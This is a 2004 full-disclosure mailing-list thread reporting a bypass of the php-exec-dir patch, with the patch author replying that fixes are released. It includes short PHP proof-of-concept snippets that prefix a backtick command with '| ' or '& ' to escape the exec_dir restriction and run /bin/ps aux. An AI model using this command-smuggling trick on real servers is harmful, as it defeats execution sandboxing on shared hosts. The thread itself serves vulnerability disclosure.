full-disclosure - RE: php-exec-dir vulnerable after latest upgrade

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From: venom at gen-x.co.nz (VeNoMouS)
Subject: RE: php-exec-dir vulnerable after latest upgrade

Another way to do this is to replace | with "&" still need space after wards

example:

 <?php
 $blah = `& /bin/ps aux`;
 echo nl2br($blah);
 ?>


----- Original Message ----- 
From: "VeNoMouS" <venom@...-x.co.nz>
To: "C. McCohy" <mccohy@...erdigi.cz>; <full-disclosure@...ts.netsys.com>
Sent: Thursday, July 08, 2004 1:05 PM
Subject: php-exec-dir vulnerable after latest upgrade


> <?php
>
> $blah = `| /bin/ps aux`;
> echo nl2br($blah);
> ?>
>
> ^^ do a |<space>ps exploits it again
>
> i my exec_dir in php.ini set to /usr/local/lib/php/bin/ with nothing 
> inside it  and i was still able to execute it, you HAVE to do the space 
> after the pipe '|'.
>
>
> ----- Original Message ----- 
> From: "C. McCohy" <mccohy@...erdigi.cz>
> To: "VeNoMouS" <venom@...-x.co.nz>
> Sent: Wednesday, July 07, 2004 9:43 PM
> Subject: Re: php-exec-dir vulnerable?
>
>
>> Ok I fixed all patches to all previous and current versions of the patch,
>> description can be found on the project homepage
>> http://kyberdigi.cz/projects/execdir/
>>
>> Please inform all internet groups you have informed about the bug before.
>>
>> --
>> Baj ... C. McCohy
>>
>> While you are reading this text, an essential hacking tool
>> is being silently installed on your computer.
>>
>>
>>
>